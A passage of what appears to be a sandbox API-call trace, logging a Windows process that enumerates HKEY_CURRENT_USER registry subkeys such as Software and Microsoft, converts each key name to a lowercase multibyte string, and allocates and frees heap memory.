BaseAddress=0x22fe8c8) returned 1 [0025.900] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x8, lpName=0x21d9d18, cchName=0x104 | out: lpName="Printers") returned 0x0 [0025.900] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.900] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x22fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="printers", lpUsedDefaultChar=0x0) returned 8 [0025.900] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.900] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.900] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.900] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.900] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x9, lpName=0x21d9d18, cchName=0x104 | out: lpName="Software") returned 0x0 [0025.901] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.901] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x22fc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0025.901] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.901] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.901] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.901] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.901] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x124) returned 0x0 [0025.901] RegCloseKey (hKey=0x80000001) returned 0x0 [0025.901] RegEnumKeyW (in: hKey=0x124, dwIndex=0x0, lpName=0x21d9d18, cchName=0x104 | out: lpName="Adobe") returned 0x0 [0025.901] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.901] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x22fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobe", lpUsedDefaultChar=0x0) returned 5 [0025.901] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.901] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.901] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.901] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.901] RegEnumKeyW (in: hKey=0x124, dwIndex=0x1, lpName=0x21d9d18, cchName=0x104 | out: lpName="AppDataLow") returned 0x0 [0025.901] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.901] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x22fc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatalow", lpUsedDefaultChar=0x0) returned 10 [0025.901] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.901] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.901] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.901] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.901] RegEnumKeyW (in: hKey=0x124, dwIndex=0x2, lpName=0x21d9d18, cchName=0x104 | out: lpName="Clients") returned 0x0 [0025.901] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.902] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0025.902] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.902] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.902] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.902] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.902] RegEnumKeyW (in: hKey=0x124, dwIndex=0x3, lpName=0x21d9d18, cchName=0x104 | out: lpName="Google") returned 0x0 [0025.902] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.902] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x22fc240, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="google", lpUsedDefaultChar=0x0) returned 6 [0025.902] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.902] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.902] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.902] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.902] RegEnumKeyW (in: hKey=0x124, dwIndex=0x4, lpName=0x21d9d18, cchName=0x104 | out: lpName="JavaSoft") returned 0x0 [0025.902] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.902] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x22fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javasoft", lpUsedDefaultChar=0x0) returned 8 [0025.902] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.902] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.902] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.902] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.902] RegEnumKeyW (in: hKey=0x124, dwIndex=0x5, lpName=0x21d9d18, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0025.902] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.902] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x22fc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0025.902] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.902] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.903] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.903] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.903] RegEnumKeyW (in: hKey=0x124, dwIndex=0x6, lpName=0x21d9d18, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0025.903] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.903] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x22fc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0025.903] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.903] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.903] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.903] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.903] RegOpenKeyExW (in: hKey=0x124, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x120) returned 0x0 [0025.903] RegCloseKey (hKey=0x124) returned 0x0 [0025.903] RegEnumKeyW (in: hKey=0x120, dwIndex=0x0, lpName=0x21d9d18, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0025.903] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.903] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x22fc240, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0025.903] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.903] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.903] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.903] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.903] RegEnumKeyW (in: hKey=0x120, dwIndex=0x1, lpName=0x21d9d18, cchName=0x104 | out: lpName="ActiveMovie") returned 0x0 [0025.903] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activemovie", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.903] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activemovie", cchWideChar=11, lpMultiByteStr=0x22fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activemovie", lpUsedDefaultChar=0x0) returned 11 [0025.903] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.903] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.903] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.904] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.904] RegEnumKeyW (in: hKey=0x120, dwIndex=0x2, lpName=0x21d9d18, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0025.904] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0025.904] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x22fc240, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0025.904] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.904] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.904] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.904] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.904] RegEnumKeyW (in: hKey=0x120, dwIndex=0x3, lpName=0x21d9d18, cchName=0x104 | out: lpName="ASF Stream Descriptor File") returned 0x0 [0025.904] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asf stream descriptor file", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0025.904] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asf stream descriptor file", cchWideChar=26, lpMultiByteStr=0x22fc120, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asf stream descriptor file", lpUsedDefaultChar=0x0) returned 26 [0025.904] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.904] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.904] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.904] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.904] RegEnumKeyW (in: hKey=0x120, dwIndex=0x4, lpName=0x21d9d18, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0025.904] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.904] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x22fc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0025.904] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.904] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.904] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.904] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.904] RegEnumKeyW (in: hKey=0x120, dwIndex=0x5, lpName=0x21d9d18, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0025.904] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.904] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x22fc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0025.905] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.905] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.905] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.905] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.905] RegEnumKeyW (in: hKey=0x120, dwIndex=0x6, lpName=0x21d9d18, cchName=0x104 | out: lpName="CTF") returned 0x0 [0025.905] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.905] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x22fc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0025.905] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.905] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.905] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.905] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.905] RegEnumKeyW (in: hKey=0x120, dwIndex=0x7, lpName=0x21d9d18, cchName=0x104 | out: lpName="Direct3D") returned 0x0 [0025.905] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="direct3d", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.905] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="direct3d", cchWideChar=8, lpMultiByteStr=0x22fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="direct3d", lpUsedDefaultChar=0x0) returned 8 [0025.905] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.905] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.905] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.905] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.905] RegEnumKeyW (in: hKey=0x120, dwIndex=0x8, lpName=0x21d9d18, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0025.905] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.905] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x22fc240, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0025.905] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.905] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.905] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.905] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.905] RegEnumKeyW (in: hKey=0x120, dwIndex=0x9, lpName=0x21d9d18, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0025.905] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.906] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x22fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0025.906] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.906] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.906] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.906] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.906] RegEnumKeyW (in: hKey=0x120, dwIndex=0xa, lpName=0x21d9d18, cchName=0x104 | out: lpName="Fax") returned 0x0 [0025.906] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.906] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x22fc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0025.906] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.906] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.906] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.906] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.906] RegEnumKeyW (in: hKey=0x120, dwIndex=0xb, lpName=0x21d9d18, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0025.906] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, 